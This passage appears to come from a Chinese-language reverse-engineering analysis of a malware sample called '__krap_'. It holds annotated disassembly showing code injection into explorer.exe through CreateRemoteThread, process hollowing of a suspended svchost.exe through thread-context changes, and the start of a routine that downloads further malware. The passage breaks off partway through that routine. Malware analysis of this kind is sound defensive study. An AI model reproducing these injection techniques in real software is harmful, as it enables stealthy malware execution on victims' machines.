&#160; &#160; 00401E1D&#160; &#160;&#160; &#160;&#160;&#160;75 09&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00401E28&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;//&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; mov eax,dword ptr ds:[edi]
&#160; &#160; 00401E1F&#160; &#160;&#160; &#160;&#160;&#160;8179 06 8B0709C>cmp dword ptr ds:[ecx+6],C009078B&#160; &#160;&#160; &#160; //&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; or eax,eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;
&#160; &#160; 00401E26&#160; &#160;&#160; &#160;&#160;&#160;74 03&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00401E2B
&#160; &#160; 00401E28&#160; &#160;&#160; &#160;&#160;&#160;41&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc ecx
&#160; &#160; 00401E29&#160; &#160;&#160; &#160;^ EB ED&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00401E18
&#160; &#160; 00401E2B&#160; &#160;&#160; &#160;&#160;&#160;8B49 02&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ds:[ecx+2]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 取出上面指令中的0x5000 这个数字到ecx
&#160; &#160; 00401E2E&#160; &#160;&#160; &#160;&#160;&#160;8B40 0C&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ds:[eax+C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 定位第一个节的虚拟地址,0x1000
&#160; &#160; 00401E31&#160; &#160;&#160; &#160;&#160;&#160;03C8&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add ecx,eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00401E33&#160; &#160;&#160; &#160;&#160;&#160;034D F8&#160; &#160;&#160; &#160;&#160; &#160;add ecx,dword ptr ss:[ebp-8]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 刚好得到第一个节的0x406000位置
&#160; &#160; 00401E36&#160; &#160;&#160; &#160;&#160;&#160;EB 0D&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00401E45
&#160; &#160; 00401E38&#160; &#160;&#160; &#160;&#160;&#160;83C1 08&#160; &#160;&#160; &#160;&#160; &#160;add ecx,8
&#160; &#160; 00401E3B&#160; &#160;&#160; &#160;&#160;&#160;EB 01&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00401E3E
&#160; &#160; 00401E3D&#160; &#160;&#160; &#160;&#160;&#160;41&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc ecx
&#160; &#160; 00401E3E&#160; &#160;&#160; &#160;&#160;&#160;66:3919&#160; &#160;&#160; &#160;&#160; &#160;cmp word ptr ds:[ecx],bx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 0x406000的位置是导入表函数名区域,不断比较是否00 00
&#160; &#160; 00401E41&#160; &#160;&#160; &#160;^ 75 FA&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00401E3D&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 好跳过该区域,该区域是一个索引,里面记录了偏移,用于
&#160; &#160; 00401E43&#160; &#160;&#160; &#160;&#160;&#160;41&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc ecx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 后面的重定位,设x_table[0 ~ n] 表示该区域内对应的索引
&#160; &#160; 00401E44&#160; &#160;&#160; &#160;&#160;&#160;41&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc ecx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 0xf0 是索引区域结束的标志
&#160; &#160; 00401E45&#160; &#160;&#160; &#160;&#160;&#160;3919&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp dword ptr ds:[ecx],ebx
&#160; &#160; 00401E47&#160; &#160;&#160; &#160;^ 75 EF&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00401E38
&#160; &#160; 00401E49&#160; &#160;&#160; &#160;&#160;&#160;8B55 F4&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ss:[ebp-C]
&#160; &#160; 00401E4C&#160; &#160;&#160; &#160;&#160;&#160;83C1 04&#160; &#160;&#160; &#160;&#160; &#160;add ecx,4
&#160; &#160; 00401E4F&#160; &#160;&#160; &#160;&#160;&#160;8D5410 FC&#160; &#160;&#160; &#160; lea edx,dword ptr ds:[eax+edx-4]
&#160; &#160; 00401E53&#160; &#160;&#160; &#160;&#160;&#160;8A01&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov al,byte ptr ds:[ecx]
&#160; &#160; 00401E55&#160; &#160;&#160; &#160;&#160;&#160;41&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc ecx
&#160; &#160; 00401E56&#160; &#160;&#160; &#160;&#160;&#160;3AC3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp al,bl
&#160; &#160; 00401E58&#160; &#160;&#160; &#160;&#160;&#160;74 26&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00401E80
&#160; &#160; 00401E5A&#160; &#160;&#160; &#160;&#160;&#160;3C F0&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;cmp al,0F0
&#160; &#160; 00401E5C&#160; &#160;&#160; &#160;&#160;&#160;73 07&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnb short __krap_.00401E65
&#160; &#160; 00401E5E&#160; &#160;&#160; &#160;&#160;&#160;0FB6C0&#160; &#160;&#160; &#160;&#160; &#160; movzx eax,al&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// mem_view_off = 映射区域第一个节代码的开始位置
&#160; &#160; 00401E61&#160; &#160;&#160; &#160;&#160;&#160;03D0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add edx,eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // mem_view_off = x_table[n] + mem_view_off
&#160; &#160; 00401E63&#160; &#160;&#160; &#160;&#160;&#160;EB 0F&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00401E74&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00401E65&#160; &#160;&#160; &#160;&#160;&#160;0FB731&#160; &#160;&#160; &#160;&#160; &#160; movzx esi,word ptr ds:[ecx]
&#160; &#160; 00401E68&#160; &#160;&#160; &#160;&#160;&#160;83E0 0F&#160; &#160;&#160; &#160;&#160; &#160;and eax,0F
&#160; &#160; 00401E6B&#160; &#160;&#160; &#160;&#160;&#160;C1E0 10&#160; &#160;&#160; &#160;&#160; &#160;shl eax,10
&#160; &#160; 00401E6E&#160; &#160;&#160; &#160;&#160;&#160;0BC6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;or eax,esi
&#160; &#160; 00401E70&#160; &#160;&#160; &#160;&#160;&#160;03D0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add edx,eax
&#160; &#160; 00401E72&#160; &#160;&#160; &#160;&#160;&#160;41&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc ecx
&#160; &#160; 00401E73&#160; &#160;&#160; &#160;&#160;&#160;41&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc ecx
&#160; &#160; 00401E74&#160; &#160;&#160; &#160;&#160;&#160;013A&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add dword ptr ds:[edx],edi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 对mem_view_off 重定位改写,每次通过
&#160; &#160; 00401E76&#160; &#160;&#160; &#160;&#160;&#160;8A01&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov al,byte ptr ds:[ecx]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// dif(地址差值)来修正
&#160; &#160; 00401E78&#160; &#160;&#160; &#160;&#160;&#160;41&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc ecx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;
&#160; &#160; 00401E79&#160; &#160;&#160; &#160;&#160;&#160;3AC3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp al,bl
&#160; &#160; 00401E7B&#160; &#160;&#160; &#160;^ 75 DD&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00401E5A&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 例如:
&#160; &#160; 00401E7D&#160; &#160;&#160; &#160;&#160;&#160;8B75 EC&#160; &#160;&#160; &#160;&#160; &#160;mov esi,dword ptr ss:[ebp-14]&#160; &#160;&#160; &#160;&#160; &#160; // 要注入代码的地址计算 = 映射地址(BE0000) - 自身ImageBase(400000) + 自身代码地址(401EF1)
&#160; &#160; 00401E80&#160; &#160;&#160; &#160;&#160;&#160;2B75 F8&#160; &#160;&#160; &#160;&#160; &#160;sub esi,dword ptr ss:[ebp-8]&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 最终要注入代码的地址 = 00FE1EF1
&#160; &#160; 00401E83&#160; &#160;&#160; &#160;&#160;&#160;0375 08&#160; &#160;&#160; &#160;&#160; &#160;add esi,dword ptr ss:[ebp+8]
&#160; &#160; 00401E86&#160; &#160;&#160; &#160;&#160;&#160;395D 10&#160; &#160;&#160; &#160;&#160; &#160;cmp dword ptr ss:[ebp+10],ebx
&#160; &#160; 00401E89&#160; &#160;&#160; &#160;&#160;&#160;75 18&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00401EA3
&#160; &#160; 00401E8B&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 注入 00401EF1 <__krap_.inject_code> 地址代码到explorer中
&#160; &#160; 00401E8C&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401E8D&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401E8E&#160; &#160;&#160; &#160;&#160;&#160;56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00401E8F&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401E90&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401E91&#160; &#160;&#160; &#160;&#160;&#160;FF75 0C&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+C]
&#160; &#160; 00401E94&#160; &#160;&#160; &#160;&#160;&#160;FF15 8C304000&#160; &#160;call dword ptr ds:[40308C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.CreateRemoteThread&#160;&#160;
&#160; &#160; 00401E9A&#160; &#160;&#160; &#160;&#160;&#160;50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401E9B&#160; &#160;&#160; &#160;&#160;&#160;FF15 2C304000&#160; &#160;call dword ptr ds:[40302C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.CloseHandle
&#160; &#160; 00401EA1&#160; &#160;&#160; &#160;&#160;&#160;EB 30&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00401ED3
&#160; &#160; 00401EA3&#160; &#160;&#160; &#160;&#160;&#160;8D85 F4FCFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-30C]&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;
&#160; &#160; 00401EA9&#160; &#160;&#160; &#160;&#160;&#160;50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;
&#160; &#160; 00401EAA&#160; &#160;&#160; &#160;&#160;&#160;FF75 10&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+10]
&#160; &#160; 00401EAD&#160; &#160;&#160; &#160;&#160;&#160;C785 F4FCFFFF 0>mov dword ptr ss:[ebp-30C],10002&#160; &#160;&#160; &#160;&#160; &#160; // 这段代码是在explorer.exe 注入svchost.exe中要走的流程,后面会有分析。&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00401EB7&#160; &#160;&#160; &#160;&#160;&#160;FF15 88304000&#160; &#160;call dword ptr ds:[403088]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // kernel32.GetThreadContext
&#160; &#160; 00401EBD&#160; &#160;&#160; &#160;&#160;&#160;8D85 F4FCFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-30C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 取CONTEXT结构首地址
&#160; &#160; 00401EC3&#160; &#160;&#160; &#160;&#160;&#160;50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 压入CONTEXT结构首地址
&#160; &#160; 00401EC4&#160; &#160;&#160; &#160;&#160;&#160;FF75 10&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+10]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 压入 hThread
&#160; &#160; 00401EC7&#160; &#160;&#160; &#160;&#160;&#160;89B5 A4FDFFFF&#160; &#160;mov dword ptr ss:[ebp-25C],esi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 修改CONTEXT.Eip = 新的注入代码地址
&#160; &#160; 00401ECD&#160; &#160;&#160; &#160;&#160;&#160;FF15 84304000&#160; &#160;call dword ptr ds:[403084]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // call&#160;&#160;SetThreadContext
&#160; &#160; 00401ED3&#160; &#160;&#160; &#160;&#160;&#160;FF75 F4&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-C]
&#160; &#160; 00401ED6&#160; &#160;&#160; &#160;&#160;&#160;C645 FF 01&#160; &#160;&#160; &#160;mov byte ptr ss:[ebp-1],1
&#160; &#160; 00401EDA&#160; &#160;&#160; &#160;&#160;&#160;FF15 80304000&#160; &#160;call dword ptr ds:[403080]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.UnmapViewOfFile
&#160; &#160; 00401EE0&#160; &#160;&#160; &#160;&#160;&#160;FF75 E8&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-18]
&#160; &#160; 00401EE3&#160; &#160;&#160; &#160;&#160;&#160;FF15 2C304000&#160; &#160;call dword ptr ds:[40302C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.CloseHandle
&#160; &#160; 00401EE9&#160; &#160;&#160; &#160;&#160;&#160;8A45 FF&#160; &#160;&#160; &#160;&#160; &#160;mov al,byte ptr ss:[ebp-1]
&#160; &#160; 00401EEC&#160; &#160;&#160; &#160;&#160;&#160;5F&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop edi
&#160; &#160; 00401EED&#160; &#160;&#160; &#160;&#160;&#160;5E&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop esi
&#160; &#160; 00401EEE&#160; &#160;&#160; &#160;&#160;&#160;5B&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop ebx
&#160; &#160; 00401EEF&#160; &#160;&#160; &#160;&#160;&#160;C9&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;leave
&#160; &#160; 00401EF0&#160; &#160;&#160; &#160;&#160;&#160;C3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;retn
&#160;&#160;
4 .Explorer在再注入Svchost.exe
&#160; &#160;
&#160; &#160; // 注入到explorer.exe中代码
&#160; &#160;&#160;&#160;
&#160; &#160; 00E21EF1&#160; &#160; 55&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebp
&#160; &#160; 00E21EF2&#160; &#160; 8BEC&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ebp,esp
&#160; &#160; 00E21EF4&#160; &#160; 81EC 4C010000&#160; &#160;sub esp,14C
&#160; &#160; 00E21EFA&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21EFB&#160; &#160; 68 D0070000&#160; &#160;&#160;&#160;push 7D0
&#160; &#160; 00E21F00&#160; &#160; FF15 7030E200&#160; &#160;call dword ptr ds:[E23070]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;;&#160;&#160;Sleep 休眠2秒
&#160; &#160; 00E21F06&#160; &#160; 33F6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xor esi,esi
&#160; &#160; 00E21F08&#160; &#160; 8D45 FC&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-4]
&#160; &#160; 00E21F0B&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00E21F0C&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F0D&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F0E&#160; &#160; 68 031DE200&#160; &#160;&#160;&#160;push 0E21D03
&#160; &#160; 00E21F13&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F14&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00E21F15&#160; &#160; 8975 FC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-4],esi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 创建一个线程不停的去删除主运行程序文件,很简单不分析了。
&#160; &#160; 00E21F18&#160; &#160; FF15 B430E200&#160; &#160;call dword ptr ds:[E230B4]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;//call&#160;&#160;CreateThread
&#160; &#160; 00E21F1E&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00E21F1F&#160; &#160; FF15 2C30E200&#160; &#160;call dword ptr ds:[E2302C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.CloseHandle

&#160; &#160; // 注入svchost,这里使用了 CREATE_SUSPENDED CreateProcess + ResumeThread 方式注入
&#160; &#160; // 相当于启动一个傀儡的进程svchost.exe,
&#160; &#160;
&#160; &#160; 00E21F25&#160; &#160; 68 04010000&#160; &#160;&#160;&#160;push 104
&#160; &#160; 00E21F2A&#160; &#160; 8D85 B4FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-14C]
&#160; &#160; 00E21F30&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00E21F31&#160; &#160; FF15 A030E200&#160; &#160;call dword ptr ds:[E230A0]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.GetSystemDirectoryA
&#160; &#160; 00E21F37&#160; &#160; 68 3034E200&#160; &#160;&#160;&#160;push 0E23430&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;; ASCII "\svchost.exe"
&#160; &#160; 00E21F3C&#160; &#160; 8D85 B4FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-14C]
&#160; &#160; 00E21F42&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00E21F43&#160; &#160; FF15 1830E200&#160; &#160;call dword ptr ds:[E23018]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.lstrcatA
&#160; &#160; 00E21F49&#160; &#160; 6A 40&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 40&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // svchost.exe 所在的系统目录
&#160; &#160; 00E21F4B&#160; &#160; 8D45 BC&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-44]
&#160; &#160; 00E21F4E&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F4F&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00E21F50&#160; &#160; C745 B8 4400000>mov dword ptr ss:[ebp-48],44
&#160; &#160; 00E21F57&#160; &#160; E8 4BFDFFFF&#160; &#160;&#160;&#160;call 00E21CA7&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 分配0x40个空间,初始化为0,就是STARTUPINFO结构
&#160; &#160; 00E21F5C&#160; &#160; 83C4 0C&#160; &#160;&#160; &#160;&#160; &#160;add esp,0C
&#160; &#160; 00E21F5F&#160; &#160; 68 0C41E200&#160; &#160;&#160;&#160;push 0E2410C
&#160; &#160; 00E21F64&#160; &#160; 8D45 B8&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-48]
&#160; &#160; 00E21F67&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00E21F68&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F69&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F6A&#160; &#160; 6A 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 4
&#160; &#160; 00E21F6C&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F6D&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F6E&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F6F&#160; &#160; 8D85 B4FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-14C]
&#160; &#160; 00E21F75&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00E21F76&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21F77&#160; &#160; C745 E4 0100000>mov dword ptr ss:[ebp-1C],1
&#160; &#160; 00E21F7E&#160; &#160; 66:C745 E8 0500 mov word ptr ss:[ebp-18],5&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 调试方式创建一个傀儡进程svchost.exe 进程,并挂起。
&#160; &#160; 00E21F84&#160; &#160; FF15 4030E200&#160; &#160;call dword ptr ds:[E23040]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// call kernel32.CreateProcessA
&#160; &#160; 00E21F8A&#160; &#160; FF35 1041E200&#160; &#160;push dword ptr ds:[E24110]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00E21F90&#160; &#160; FF35 0C41E200&#160; &#160;push dword ptr ds:[E2410C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 再次注入代码到svchost.exe进程
&#160; &#160; 00E21F96&#160; &#160; 68 C415E200&#160; &#160;&#160;&#160;push 0E215C4&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 注入GetThreadContext()&#160;&#160;,SetThreadContext() 注入
&#160; &#160;
&#160; &#160; // 这里为svchost.exe 重新映射一块内存,然后修正Context.eax值,使其执行要注入代码的首地址
&#160; &#160;
&#160; &#160; 00E21F9B&#160; &#160; E8 96FDFFFF&#160; &#160;&#160;&#160;call 00E21D36
&#160; &#160; 00E21FA0&#160; &#160; 83C4 0C&#160; &#160;&#160; &#160;&#160; &#160;add esp,0C
&#160; &#160; 00E21FA3&#160; &#160; 84C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test al,al
&#160; &#160; 00E21FA5&#160; &#160; 74 0C&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short 00E21FB3
&#160; &#160; 00E21FA7&#160; &#160; FF35 1041E200&#160; &#160;push dword ptr ds:[E24110]
&#160; &#160; 00E21FAD&#160; &#160; FF15 9C30E200&#160; &#160;call dword ptr ds:[E2309C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.ResumeThread
&#160; &#160; 00E21FB3&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00E21FB4&#160; &#160; FF15 3C30E200&#160; &#160;call dword ptr ds:[E2303C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.ExitThread
&#160; &#160;
&#160; &#160; explorer中的注入代码执行完后自动退出。


5 .傀儡进程Svchost.exe完成download功能

&#160; &#160; svchost.exe 主要链接网络下载其它病毒。
&#160; &#160;
&#160; &#160; 004013B2&#160; &#160; FF15 18304000&#160; &#160;call dword ptr ds:[403018]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.lstrcatA
&#160; &#160; 004013B8&#160; &#160; 8B3D F8304000&#160; &#160;mov edi,dword ptr ds:[<&WS2_32.WSAGetLas>; WININET.InternetReadFile
&#160; &#160; 004013BE&#160; &#160; 895D E4&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-1C],ebx
&#160; &#160; 004013C1&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 004013C2&#160; &#160; 8D85 08FAFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-5F8]
&#160; &#160; 004013C8&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004013C9&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004013CA&#160; &#160; E8 D8080000&#160; &#160;&#160;&#160;call __krap_.00401CA7
&#160; &#160; 004013CF&#160; &#160; 83C4 0C&#160; &#160;&#160; &#160;&#160; &#160;add esp,0C
&#160; &#160; 004013D2&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004013D3&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004013D4&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004013D5&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
